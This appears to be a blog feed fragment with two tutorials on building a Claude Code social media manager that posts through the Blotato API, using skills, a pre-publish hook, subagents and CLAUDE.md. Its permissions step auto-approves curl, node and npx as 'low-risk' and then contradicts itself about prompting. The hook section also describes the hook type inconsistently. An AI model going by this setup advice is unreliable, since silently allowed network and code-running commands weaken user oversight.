y2="14"></line></svg></button></div></div></div></a></figure></div><p>Set aside 90 MINUTES to follow along.</p><p>Unlike other tutorials focusing on MCP or specific tools, here you&#8217;ll learn how to build repeatable frameworks, tailored to your preferences and workflows. </p><p>You&#8217;ll learn the fundamentals and be able to build ANYTHING.</p><p>If you haven&#8217;t installed Claude Code yet, <a href="https://youtu.be/XPl6IKDADkU">follow this first</a>.</p><p>Here is what we&#8217;ll build, step by step:</p><pre><code>
| Setup | Configure permissions, modes, context | Foundations |

| 1 | Create the `/post` skill | Skills | Verify pipeline end-to-end |

| 2 | Add per-platform brand voice | Skill iteration | Posts match your tone |

| 3 | Create a quality gate hook | Hooks | Automatic checks before every publish |

| 4 | Add multi-platform posting | Subagents | `/post &#8220;topic&#8221; all` -- 4 platforms |

| 5 | Create the `/plan-week` skill | Capstone | Full week of content &amp; scheduled |

| 6 | Create CLAUDE.md | Project memory | Claude starts each session with context |</code></pre><div><hr></div><h2>Claude Code Settings</h2><p>Before we start, let&#8217;s talk about settings. </p><p>These are not hard/fast rules, but they are <em>my preferences</em> based on substantial lived usage/experience.</p><h3>Permissions</h3><p>As you use Claude Code, it will ask for permission to run many commands. </p><p>To avoid approving the same relatively safe commands over and over, paste this prompt into Claude Code:</p><blockquote><pre><code>add permissions to this claude code project to allow non-destructive bash commands: WebSearch, WebFetch, source, export, curl, jq, cat, ls, grep, echo, which, wc, file, pwd, mkdir, touch, head, tail, find, sort, tree, diff, node, npm, npx, git status, git diff, git log</code></pre></blockquote><p>Claude updates your `<code>settings.local.json` where permissions live.</code></p><p>These are read-only or low-risk commands. Claude will still prompt you for commands that run code (`node`, `python3`, `npx`) or modify <code>history (`git commit`) so you can</code> review <code>before approving.</code></p><h3>Modes</h3><p>Claude Code has permission modes that control how much autonomy Claude gets. I spend most of my time in Plan Mode or Ask Before Edits while Claude is planning. </p><p>I go back and forth on the plan -- a lot, probably 90% of my time. I read what Claude proposes, spar with it, request revisions, and only when the plan is finalized do I switch to Auto-Edit mode, then let Claude execute.</p><p>For this tutorial, that means: </p><p>when you run `/post` or `/plan-week` and Claude starts asking clarifying questions or showing you a content plan, you are in the planning phase. Stay in a restrictive mode. Once you approve the plan and tell Claude to go, switch to auto-edit so it moves fast.</p><h3>Context</h3><p>When I start a new feature, bug fix, or task, I clear the conversation so the context is clean. If I have a CLAUDE.md file with extensive project instructions, I make a shortcut like `qnew` that tells Claude to re-read the CLAUDE.md. This way Claude starts each session with full project context but no leftover noise from previous tasks.</p><h3>VSCode Extension vs Terminal</h3><p>Claude Code runs 2 ways in VS Code: the official Claude Code extension (sidebar UI) or the terminal (`claude` command).</p><p>For 99% of people, I recommend the official extension. It has a clean, user-friendly interface and handles everything in this tutorial.</p><p>I personally use the terminal most of the time because I get access to Vim mode for faster text editing. You can also launch `claude --chrome`, a beta feature that lets Claude browse the web, test your apps, and operate with a visual feedback loop. These features are not available in the extension yet.</p><p>If you are comfortable in a terminal, try it. Otherwise, stick with the extension -- everything in this tutorial works the same either way.</p><h3>Model</h3><p>I use the most capable model available for almost everything. </p><p>As of this post, that is Opus 4.6.</p><p>The only time I switch to Sonnet or Haiku is when I know the session involves straightforward, low-complexity work. For anything technical -- building skills, writing API integration logic, debugging -- I stick with the top model.</p><p>For this tutorial, use the most capable model for all five steps. The API orchestration, brand voice adaptation, and subagent coordination all benefit from stronger reasoning.</p><div><hr></div><h2>Step 1: Create the `/post` Skill</h2><h3>What are skills?</h3><p>A skill is a custom slash command you build for Claude Code. You type `/post` (or whatever you name it) and Claude follows the instructions you defined. Skills persist across conversations -- you build them once, then reuse them forever. See the [official Skills documentation](https://platform.claude.com/docs/en/agents-and-tools/agent-skills/overview) for the full reference.</p><p>Skills live in your project as a directory with a `SKILL.md` file:</p><pre><code>.claude/
  skills/
    post/
      SKILL.md       &lt;-- the skill instructions (required)</code></pre><p>The `SKILL.md` file has YAML frontmatter at the top (name, description, argument hint) followed by the instructions Claude follows when you invoke the skill. The directory name becomes the slash command: `.claude/skills/post/` becomes `/post`.</p><p>You do NOT need to create this file structure manually. When you tell Claude to create a skill, it builds the directory and writes `SKILL.md` for you. But knowing the structure helps if something goes wrong -- if `/post` does not appear when you type `/`, check that the file is at `.claude/skills/post/SKILL.md` or restart your Claude session.</p><h3>Building the skill</h3><p>Start simple. The first version of `/post` targets a single platform so you can verify everything works: your API key, your connected accounts, the visual generation, and the publishing flow. Once this works end-to-end for one platform, you will upgrade it to post to all platforms in parallel in Step 4.</p><p>Paste this prompt into Claude Code:</p><blockquote><pre><code><code>create a new claude code skill &#8220;post&#8221; in this folder
skills docs: https://platform.claude.com/docs/en/agents-and-tools/agent-skills/overview

ai social media manager that makes posts for linkedin, instagram, twitter, and facebook

user inputs a platform and any combination of: a topic, an existing post to adapt, a URL (youtube, tiktok, article, pdf, audio, website, blog), or their own image/photo URLs

figure out the intent from whatever the user provides

use Blotato for extraction, creating visuals, and publishing to socials: https://help.blotato.com/api/llm

Blotato API supports scheduling: publish now, future date (scheduledTime), or next free slot (useNextFreeSlot). Default to useNextFreeSlot: true for all posts so they get queued to  content calendar instead of publishing immediately.

create .claude/settings.local.json with BLOTATO_API_KEY in env field and ask me to paste key

maintain separate file with a running log of my published posts and their live URLs

ask me clarifying questions, one at a time, until you are 95% confident you can complete the task successfully</code></code></pre></blockquote><p>Notice the last line of the prompt: &#8220;ask me clarifying questions, one at a time, until you are 95% confident you can complete the task successfully.&#8221; </p><p>This is one of the most useful patterns when interacting with AI.</p><p>You do NOT need to have everything figured out in your 1st prompt. As Claude asks you questions, the gaps in your thinking and instructions become obvious. You can fill them in via dialogue rather than trying to anticipate every detail upfront.</p><p>Answer each question one at a time. </p><p>Once it has enough context, it builds the skill.</p><h3>Testing the Skill</h3><p>Once the skill is created, close Claude Code and open a new session. Now type `/` and you should see `/post` in the list.</p><p>Before testing the skill, set up your Blotato account and API key:</p><p>1. Sign up at <a href="https://my.blotato.com">https://my.blotato.com</a> and connect your socials</p><p>2. Go to <a href="https://my.blotato.com/settings/api">https://my.blotato.com/settings/api</a> and generate API key</p><p>3. Open <code>.claude/settings.local.json</code> in your project folder and paste your Blotato API key:</p><pre><code>{
  &#8220;env&#8221;: {
    &#8220;BLOTATO_API_KEY&#8221;: &#8220;your-api-key-here&#8221;
  }
}</code></pre><p>This file is automatically gitignored, so your key stays local. Claude Code loads `env` values from this file into every shell command automatically.</p><p>When ready, let&#8217;s test drive it!</p><blockquote><pre><code>/post &#8220;ChatGPT prompt tips for beginners&#8221; twitter</code></pre></blockquote><p>You can also pass a YouTube URL, Tiktok video URL, audio file URL, PDF link, or website... and Blotato extracts the transcript/text automatically to be used in generating your content:</p><blockquote><pre><code>/post &#8220;how to make $1m from $0&#8221; twitter &lt;paste_youtube_url&gt;</code></pre></blockquote><p>Claude will generate a visual, write the post text, and schedule/publish it to social media, and logs the result.</p><p>While you&#8217;re waiting for the visual to be created, check its preview here: https://my.blotato.com/videos</p><p>One command. One post. One platform. </p><p>The goal here is to verify the full pipeline works end-to-end before scaling it up. If your API key is wrong, your accounts are not connected, or the visual generation fails, you want to catch that now -- not when you are publishing a week of content to multiple platforms.</p><p>This step teaches you how Claude Code skills work and how Blotato&#8217;s async API pattern operates: submit a request, poll for status, use the result. This is the most common API pattern, so it&#8217;s great to get familiar with it now.</p><p>IMPORTANT: in my next tutorial, I&#8217;ll show you how to connect an MCP server which is MASSIVELY simpler, but it&#8217;s important to learn this approach because many tools/services do NOT have an MCP server yet or their MCP is quite limited.</p><p>In Step 4, you will upgrade this skill to post to all platforms at once with parallel subagents.</p><div><hr></div><h2>Step 2: Add Per-Platform Brand Voice</h2><p>The `/post` skill works, but the output sounds generic. Every platform gets the same tone. Twitter posts read like LinkedIn posts. LinkedIn posts feel too casual.</p><p>Fix this by feeding Claude samples of your voice on each platform, along with a writing style guide that keeps the output sounding human. I use a [humanize prompt](https://www.sabrina.dev/p/best-ai-prompt-to-humanize-ai-writing) that strips out common AI-sounding patterns:</p><blockquote><pre><code>add samples of my brand voice and writing style to the /post skill:

# WRITING STYLE (apply to all platforms):

- Use clear, simple language.
- Use short, impactful sentences.
- Use active voice; avoid passive voice.
- Focus on practical, actionable insights.
- Use &#8220;you&#8221; and &#8220;your&#8221; to directly address the reader.
- AVOID em dashes. Use commas, periods, or ellipsis &#8220;...&#8221; instead.
- AVOID constructions like &#8220;...not just this, but also this&#8221;.
- AVOID metaphors and cliches.
- AVOID generalizations.
- AVOID unnecessary adjectives and adverbs.
- AVOID hashtags, semicolons, markdown, asterisks.
- AVOID these words: &#8220;can, may, just, that, very, really, literally, actually, certainly, probably, basically, could, maybe, delve, embark, enlightening, esteemed, shed light, craft, crafting, imagine, realm, game-changer, unlock, discover, skyrocket, abyss, not alone, in a world where, revolutionize, disruptive, utilize, utilizing, dive deep, tapestry, illuminate, unveil, pivotal, intricate, elucidate, hence, furthermore, however, harness, exciting, groundbreaking, cutting-edge, remarkable, remains to be seen, glimpse into, navigating, landscape, stark, testament, in summary, in conclusion, moreover, boost, powerful, inquiries, ever-evolving&#8221;
- IMPORTANT: Review every post and ensure no em dashes!

# BRAND VOICE SAMPLES (per platform):

Twitter voice:
&lt;PASTE TWITTER EXAMPLES&gt;

LinkedIn voice:
&lt;PASTE LINKEDIN EXAMPLES&gt;

Instagram voice:
&lt;PASTE INSTAGRAM EXAMPLES&gt;

Facebook voice:
&lt;PASTE FACEBOOK EXAMPLES&gt;</code></pre></blockquote><p>Paste real posts you have written. The more examples you give, the better Claude matches your voice. The writing style rules at the top eliminate the patterns that make AI-generated text obvious: em dashes, filler words, superlatives.</p><p>If you don&#8217;t have samples or want to emulate a specific style, tell Claude to go find them.</p><p>For example: </p><p><em>&#8220;go find 10 writing samples from Justin Welsh on LinkedIn&#8221;</em></p><p><em>&#8220;go find 10 writing samples from Alex Hormozi on Twitter&#8221;</em></p><p>Then, Claude will try to pull examples and use them as your voice reference. As you gain traction on social media, I definitely recommend using your own real samples.</p><p>After this step, run </p><blockquote><pre><code>/post &#8220;non-obvious tips to u<code>se Claude Code&#8221; linkedin</code></code></pre></blockquote><p><code>and compare the output to </code></p><blockquote><pre><code>/<code>post &#8220;non-obvious tips to use Claude Code&#8221; twitter</code></code></pre></blockquote><p>The tone, length, and structure should differ noticeably based on your samples!</p><p>This step teaches you how to iterate on a skill. </p><p>We aren&#8217;t replacing it&#8230; we&#8217;re augmenting it with CONTEXT!</p><p>This is really important to understand:</p><div class="pullquote"><p>Your Claude Code skills shouldn&#8217;t be static!</p><p>Just like learning in real life, you improve skills continuously over time by having better context about what&#8217;s working, what&#8217;s not working, preferences, edge cases, etc. </p><p>Invest in your skills (both human + Claude Code) and you&#8217;ll reap high ROI rewards.</p></div><p>The per-platform voice guidance becomes essential in Step 4, when this same skill posts to multiple social platforms.</p><div><hr></div><h2>Step 3: Create Quality Gate</h2><p>Your `/post` skill writes and publishes content. But what happens when a post contains an em dash you hate, exceeds the character limit, or goes to Instagram withou<code> an i</code>m<code>age? </code></p><p>Right now, nothing catches it.</p><h3>What are hooks?</h3><p>Hooks run code at key points in Claude Code&#8217;s lifecycle. They fire automatically, so you don&#8217;t have to remember to call them. A hook can format files after edits, block commands before they execute, inject context at session start, and more.</p><p>Claude Code supports 3 types of hooks:</p><p>- Command hooks: run a shell script. Deterministic and fast, but uses precise logic which may get complex.</p><p>- Prompt hooks: LLM reads your command, understands the content natively, and returns a pass/fail decision.</p><p>- Agent hooks: spawn a multi-turn subagent that can read files, run commands, and reason through multi-step validation.</p><p>For this tutorial, we&#8217;ll use a COMMAND hook. It&#8217;s the simplest option for content validation because the LLM understands your post text directly without shell scripts, regex, etc.</p><h3>Building the hook</h3><blockquote><pre><code>create a claude code command hook that runs before any Bash command
that contains &#8220;curl&#8221; and &#8220;backend.blotato.com/v2/posts"

the hook should check the post content for:

- em dashes (replace with &#8220;...&#8221;)
- posts exceeding the platform character limit
- missing media URLs for platforms that require at least one
- any use of banned words from my brand voice file

if any check fails, block the command and show what needs to be fixed</code></pre></blockquote><p>Now every time Claude tries to publish a post, the hook fires first. If the post fails, the publish command is blocked and Claude sees what needs to be fixed.</p><p>You do NOT need to remember to run this quality gate. You don&#8217;t need to add it to every skill. It&#8217;s automatic! </p><p>It fires on every post without additional setup.</p><p>To test your hook, try this prompt:</p><blockquote><pre><code>test post hook on excess character tweet</code></pre></blockquote><p>&#8230; and you should see the Bash OUTPUT say it blocked the action because &#8220;Post validation failed&#8221;.</p><div><hr></div><h2>Step 4: Add Subagents for Multi-Platform Posting</h2><p>Your `/post` skill works, your brand voice is dialed in, and your quality gate catches mistakes. But right now you publish to one platform at a time. The whole point of this system is to post everywhere from one command.</p><p>Upgrade the /post skill to create 1 visual and publish to all platforms in parallel:</p><blockquote><pre><code>update the /post skill to support posting to all platforms at once:

/post &#8220;How to ski in icy conditions&#8221; all

when platform is &#8220;all&#8221;:
- create the visual once, if desired
- spawn subagent for each platform (twitter, linkedin, instagram, facebook, etc)
- each subagent adapts post text for platform&#8217;s format, character limits, and brand voice
- all subagents publish in parallel
- log all results to posts-log.md</code></pre></blockquote><p>A subagent is a separate process that handles a task independently. It&#8217;s the closest analogy to an &#8216;ai employee&#8217; working on its own thing, over there independently, with context and tools it needs to complete its task. </p><p>Our main `/post` skill delegates work to subagents and collects results when they finish. Subagents run in parallel, which means independent tasks (like publishing to 4 different platforms) happen simultaneously instead of sequentially. Each subagent inherits the hooks you set up, so your quality gate applies everywhere!</p><p>Now run:</p><blockquote><pre><code>/post &#8220;Ski tips on icy conditions &#8220; all</code></pre></blockquote><p>Claude creates 1 visual, drafts posts for each platform using your brand guidelines, and asks for your approval. </p><p>Once you approve, it spawns subagents to publish in parallel. If everything works, you&#8217;ll see separate TASK boxes while Claude is thinking.</p><p>Why not publish sequentially? </p><p>Because each publish is asynchronous. Claude submits the post to the Blotato API, then polls every few seconds until the status reaches `published`. That&#8217;s 5-30 seconds of waiting per post. 4 posts sequentially means up to 2 minutes of idle polling. 4 subagents in parallel means one wait.</p><p>Each subagent independently manages its own async cycle: submit the post, poll for status, handle the result, log it. </p><p>The drafting and approval happen in the main agent. </p><p>So, the API waiting gets parallelized, which is especially useful for our next and final step...</p><div><hr></div><h2>Step 5: Create the `/plan-week` Skill</h2><p>Now, we have all the pieces:</p><ul><li><p>a content creation skill with copywriting and visual generation</p></li><li><p>a brand voice guide with writing samples and banned words</p></li><li><p>a quality gate that runs automatically</p></li><li><p>efficiently parallel multi-platform posting</p></li></ul><p>Now let&#8217;s tie everything together into a single command that plans and schedules 1 week of content.</p><blockquote><pre><code>create a new claude code skill called &#8220;plan-week&#8221;

it should:

- accept any combination of: a topic, existing draft posts, URLs (youtube, tiktok, article, pdf, audio, website, blog), or image/photo URLs
- figure out the intent from whatever the user provides
- research the topic or extract content using Blotato&#8217;s Create Source API
- write weekly content plan to content-plan.md using sections per post, so I can read and edit fields: day, post number, topic, draft text, visual (yes/no), template name
- draft text should be the full post content with proper formatting (line breaks, short sentences, lists), not a summary. Write it like a real post, adapted per platform.
- create the visual once per day so all posts that day use same visual
- available visual templates: https://help.blotato.com/api/create-video/visuals
- show me the plan and ask for approval
- Blotato API supports scheduling: publish now, set a future date (scheduledTime), or next free slot (useNextFreeSlot)
- after I approve, use parallel subagents to publish/schedule each post
- reuse the /post skill&#8217;s brand voice, API config, and posts log

ask me clarifying questions, one at a time, until you are 95% confident</code></pre></blockquote><p>Before running it, I recommend using Blotato&#8217;s &#8216;next free slot&#8217; so you can setup your posting schedule one time, then new posts will just be queued up every day. That way, you don&#8217;t have to worry about scheduling exact days or times. </p><p>Go <a href="https://my.blotato.com/queue/slots">here</a> to setup your slot schedule.</p><p>Remember to restart your Claude Code session if you don&#8217;t see this new skill.</p><p>When you&#8217;re ready to test drive it, try one of these prompts:</p><blockquote><pre><code>/plan-week &#8220;Ski tips for beginners&#8221;
/plan-week &#8220;takeaways for AI entrepreneurs&#8221; &lt;paste_youtube_link&gt;</code></pre></blockquote><p>Claude researches the topic, then generates `content-plan.md` plan and asks for approval. You review it. If a draft needs tweaking, open `content-plan.md` and edit it. When you&#8217;re satisfied, tell Claude to continue.</p><p>IMPORTANT: if there&#8217;s a really big gap between what you want vs. what Claude produced, tell Claude exactly that and ask it to update the Skill so it gets better for next time! </p><p>Next, Claude spawns a subagent for each post, each running in parallel.</p><p>When everything finishes, check your content calendar to see all the posts scheduled for the week:</p><p><a href="https://my.blotato.com/queue/schedules">https://my.blotato.com/queue/schedules</a></p><blockquote><p>This ties together EVERYTHING we&#8217;ve learned so far! </p></blockquote><p>The `/plan-week` skill uses Blotato API for research (Step 1), per-platform brand voice for content adaptation (Step 2), the quality gate hook for automatic checks (St<code>3), and parallel subagents for batch execution (Step 4). </code></p><p>You review and approve the plan before executing anything. </p><p>You stay in control, ensuring a high quality bar. </p><p>AI + Automation handles all the boring tedious sh!t.</p><div><hr></div><h2>Step 6: Create CLAUDE.md</h2><p>You have a working system. </p><p>2 skills, a quality gate hook, brand voice samples, and a published posts log.</p><p>But every time you start a new Claude Code session, Claude starts fresh. </p><p>CLAUDE.md to the rescue! </p><p>It&#8217;s a file at the root of your project that Claude Code reads at the start of every session. Whatever you put in CLAUDE.md becomes persistent context so Claude knows it before you say anything.</p><blockquote><pre><code>create a CLAUDE.md file that codifies everything we&#8217;ve built in this project:

- link to Blotato API docs (https://help.blotato.com/api/llm)
- API key is in settings.local.json env, reference $BLOTATO_API_KEY in curl commands
- always use inline -d for curl payload
- link to the brand voice file
- link to the quality gate config
- link to posts-log.md
- any other patterns or conventions we established</code></pre></blockquote><p>Claude reads through your project, pulls together the repeating patterns that worked well, and codifies them in CLAUDE.md for future use.</p><p>From now on, every new session starts with full context. If you clear the conversation, start a new session, or come back tomorrow, Claude already knows how your project works.</p><div class="pullquote"><p>This is how you compound knowledge over time!</p><p>Each session builds on the last instead of starting from scratch.</p></div><p>Just like your skills continuously evolve, you should continually improve your CLAUDE.md file as well. It&#8217;s as simple as asking Claude -<em> reflect on our conversation and update CLAUDE.md file</em>.</p><div><hr></div><h2>CONGRATULATIONS!! Here&#8217;s What You Built&#8230;</h2><p>btw you have my full permission to repurpose this tutorial &lt;3&lt;3</p><p>check out THOUSANDS more Claude Code skills <a href="https://skills.sh">here</a>.</p><blockquote><pre><code>Step 1: /post &#8220;topic&#8221; twitter          --&gt; verify the pipeline works end-to-end

Step 2: (brand voice per platform)     --&gt; posts match your voice

Step 3: (quality gate hook)            --&gt; automatic checks on every post

Step 4: /post &#8220;topic&#8221; all              --&gt; one visual, all platforms in parallel

Step 5: /plan-week &#8220;topic&#8221;             --&gt; full week, all platforms, review gate

Step 6: CLAUDE.md                      --&gt; Claude remembers context across sessions</code></pre></blockquote><div class="poll-embed" data-attrs="{&quot;id&quot;:449448}" data-component-name="PollToDOM"></div><h2><strong>P.S. Need More Help? &#128075;</strong></h2><blockquote><p>1/ Free <em><strong><a href="https://www.sabrina.dev/p/start">AI courses</a></strong></em></p><p>2/ Free <em><strong><a href="https://prompts.sabrina.dev/">AI prompts</a></strong></em></p><p>3/ Free<strong> </strong><em><strong><a href="https://agents.sabrina.dev/">AI automations</a></strong></em></p><p>4/ Free <em><strong><a href="https://freevibecode.ai/">AI vibe coding</a></strong></em></p><p>5/ Ask me anything @ <em><strong><a href="https://www.sabrina.dev/p/livestream">Friday livestream</a></strong></em></p><p>6/ Free private community for <em><strong><a href="https://www.skool.com/women-building-ai-2577">Women Building AI</a></strong></em></p><p>7/ I built<em><strong> <a href="https://www.blotato.com/">Blotato</a> </strong></em>to grow 1M+ followers in 1 year</p></blockquote>]]></content:encoded></item><item><title><![CDATA[Build Your AI Personal Assistant for Social Media Marketing]]></title><description><![CDATA[Step-by-step tutorial to use Claude Code to build your own personalized AI social media manager.]]></description><link>https://www.sabrina.dev/p/build-your-ai-personal-assistant-social-media-marketing</link><guid isPermaLink="false">https://www.sabrina.dev/p/build-your-ai-personal-assistant-social-media-marketing</guid><dc:creator><![CDATA[Sabrina Ramonov 🍄]]></dc:creator><pubDate>Thu, 12 Feb 2026 18:58:10 GMT</pubDate><enclosure url="https://substackcdn.com/image/youtube/w_728,c_limit/XPl6IKDADkU" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div><hr></div><p>Learn how to use Claude Code to build your own AI social media manager in minutes. In this video, I&#8217;ll walk you through setting up Claude Code and the exact prompts to use to write content in your brand voice, generate visuals, and post to social media. If you want to save time, stay consistent, and leverage AI agents like a pro, this step-by-step tutorial will show you exactly how to do it.</p><div id="youtube2-XPl6IKDADkU" class="youtube-wrap" data-attrs="{&quot;videoId&quot;:&quot;XPl6IKDADkU&quot;,&quot;startTime&quot;:null,&quot;endTime&quot;:null}" data-component-name="Youtube2ToDOM"><div class="youtube-inner"><iframe src="https://www.youtube-nocookie.com/embed/XPl6IKDADkU?rel=0&amp;autoplay=0&amp;showinfo=0&amp;enablejsapi=0" frameborder="0" loading="lazy" gesture="media" allow="autoplay; fullscreen" allowautoplay="true" allowfullscreen="true" width="728" height="409"></iframe></div></div><p><em>To support my free AI education: LEAVE A COMMENT &#128591;</em></p><div><hr></div><h2>Prompt 1 - AI Agent Social Media Manager</h2><p>Highly recommend following the Youtube tutorial to set things up properly, including installing Visual Studio Code, installing Claude Code, and opening a project directory.</p><p>After opening Claude Code, here&#8217;s the prompt to kick things off:</p><pre><code>create a new claude skill

ai social media manager that knows my brand voice and makes social media posts for linkedin, instagram, twitter, and facebook

use Blotato API to handle publishing to social media and creating visuals

API docs for posting: 
https://help.blotato.com/api/api-reference/openapi-reference/publishing

API docs for visuals: 
https://help.blotato.com/api/api-reference/create-video

maintain a separate file with a running log of my published posts and their live URLs

ask me clarifying questions, one at a time, until you are 95% confident you can complete the task successfully</code></pre><div><hr></div><h2>Prompt 2 - Your Brand Voice</h2><p>Use this prompt to improve your AI Social Media Manager, so that it writes in your unique brand voice. Paste lots of real examples for the best results!</p><pre><code>add samples of my brand voice to the skill:

&lt;PASTE SOCIAL MEDIA POST EXAMPLES HERE&gt;</code></pre><div><hr></div><h2>Prompt 3 - Your Quality Gates</h2><p>Use this prompt to add quality checks to your content. </p><p>For example, detecting/replacing/removing all em dashes :)</p><p>You can add many more types of quality gates; this is literally the most basic example.</p><pre><code>create a helper script that runs before publishing a post that checks ALL of the following quality criteria are met:
- replace em dash with ellipsis "..."
- &lt;ADD MORE QUALITY CHECKS HERE&gt;</code></pre><div><hr></div><h2>Next Steps&#8230;. Win $6k at My Vibe Code Hackathon!</h2><p>March 6 to March 8 2026!</p><p>Vibe code hackathon sponsored by me (Blotato) and Marcin AI</p><p>Join here (free): <a href="https://www.skool.com/hackathon">https://www.skool.com/hackathon</a></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!3oUP!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbcffc037-c2e2-4172-ae1b-a298a28bc6a8_720x383.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!3oUP!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbcffc037-c2e2-4172-ae1b-a298a28bc6a8_720x383.jpeg 424w, https://substackcdn.com/image/fetch/$s_!3oUP!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbcffc037-c2e2-4172-ae1b-a298a28bc6a8_720x383.jpeg 848w, https://substackcdn.com/image/fetch/$s_!3oUP!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbcffc037-c2e2-4172-ae1b-a298a28bc6a8_720x383.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!3oUP!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbcffc037-c2e2-4172-ae1b-a298a28bc6a8_720x383.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!3oUP!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbcffc037-c2e2-4172-ae1b-a298a28bc6a8_720x383.jpeg" width="720" height="383" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/bcffc037-c2e2-4172-ae1b-a298a28bc6a8_720x383.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:383,&quot;width&quot;:720,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;Hackathon&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="Hackathon" title="Hackathon" srcset="https://substackcdn.com/image/fetch/$s_!3oUP!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbcffc037-c2e2-4172-ae1b-a298a28bc6a8_720x383.jpeg 424w, https://substackcdn.com/image/fetch/$s_!3oUP!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbcffc037-c2e2-4172-ae1b-a298a28bc6a8_720x383.jpeg 848w, https://substackcdn.com/image/fetch/$s_!3oUP!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbcffc037-c2e2-4172-ae1b-a298a28bc6a8_720x383.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!3oUP!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbcffc037-c2e2-4172-ae1b-a298a28bc6a8_720x383.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><div class="poll-embed" data-attrs="{&quot;id&quot;:448765}" data-component-name="PollToDOM"></div><div class="captioned-button-wrap" data-attrs="{&quot;url&quot;:&quot;https://www.sabrina.dev/p/build-your-ai-personal-assistant-social-media-marketing?utm_source=substack&utm_medium=email&utm_content=share&action=share&quot;,&quot;text&quot;:&quot;Share&quot;}" data-component-name="CaptionedButtonToDOM"><div class="preamble"><p class="cta-caption">If you LOVE this newsletter, please <strong>SHARE</strong> it to help teach more people for FREE!</p></div><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.sabrina.dev/p/build-your-ai-personal-assistant-social-media-marketing?utm_source=substack&utm_medium=email&utm_content=share&action=share&quot;,&quot;text&quot;:&quot;Share&quot;}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.sabrina.dev/p/build-your-ai-personal-assistant-social-media-marketing?utm_source=substack&utm_medium=email&utm_content=share&action=share"><span>Share</span></a></p></div><h2><strong>P.S. Need More Help? &#128075;</strong></h2><blockquote><p>1/ Free <em><strong><a href="https://www.sabrina.dev/p/start">AI courses</a></strong></em></p><p>2/ Free <em><strong><a href="https://prompts.sabrina.dev/">AI prompts</a></strong></em></p><p>3/ Free<strong> </strong><em><strong><a href="https://agents.sabrina.dev/">AI automations</a></strong></em></p><p>4/ Free <em><strong><a href="https://freevibecode.ai/">AI vibe coding</a></strong></em></p><p>5/ Ask me anything @ <em><strong><a href="https://www.sabrina.dev/p/livestream">Friday livestream</a></strong></em></p><p>6/ Free private community for <em><strong><a href="https://www.skool.com/women-building-ai-2577">Women Building AI</a></strong></em></p><p>7/ I built<em><strong> <a href="https://www.blotato.com/">Blotato</a> </strong></em>to grow 1M+ followers in 1 year</p></blockquote>]]></content:encoded></item><item><title><![CDATA[The Psychology of Making Money]]></title><description><![CDATA[Powerful 